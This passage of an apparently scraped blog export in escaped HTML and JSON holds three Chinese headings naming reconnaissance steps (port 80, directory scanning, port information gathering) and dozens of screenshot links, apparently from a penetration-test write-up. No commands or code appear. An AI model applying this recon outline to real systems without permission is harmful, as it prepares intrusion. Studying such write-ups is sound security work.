- 80\u7aef\u53e3<\/li>\n<\/ul>\n
- \u76ee\u5f55\u626b\u63cf<\/li>\n<\/ul>\n
- \u7aef\u53e3\u4fe1\u606f\u6536\u96c6<\/li>\n<\/ul>\n
![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250216105643.png\")
<\/div><\/li>\n<\/ul>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250216110732.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250216113414.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250216144720.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250216221425.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250216221029.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250216221112.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250216220147.png\")
<\/div><\/li>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250216220328.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250216222835.png\")
<\/div><\/li>\n<\/ol>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250217090323.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218111842.png\")
<\/div><\/li>\n<\/ul>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218191610.png\")
<\/div><\/li>\n<\/ul>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218192738.png\")
<\/div><\/li>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218192810.png\")
<\/div><\/li>\n<\/ul>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218210219.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218210245.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218210025.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218212626.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218212140.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218205828.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218205803.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218215156.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250219173750.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250218230504.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250219173854.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250219175528.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250219175911.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250219201808.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250219201838.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250219212006.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250219212530.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250219232728.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250219232848.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250219232916.png\")
<\/div><\/p>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250220211550.png\")
<\/div><\/li>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250220211710.png\")
<\/div><\/li>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250220212012.png\")
<\/div><\/li>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250220212125.png\")
<\/div><\/li>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250220203826.png\")
<\/div><\/li>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250220212247.png\")
<\/div><\/li>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250220212311.png\")
<\/div><\/li>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250220211146.png\")
<\/div><\/li>\n<\/ol>\n![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250220203554.png\")
<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"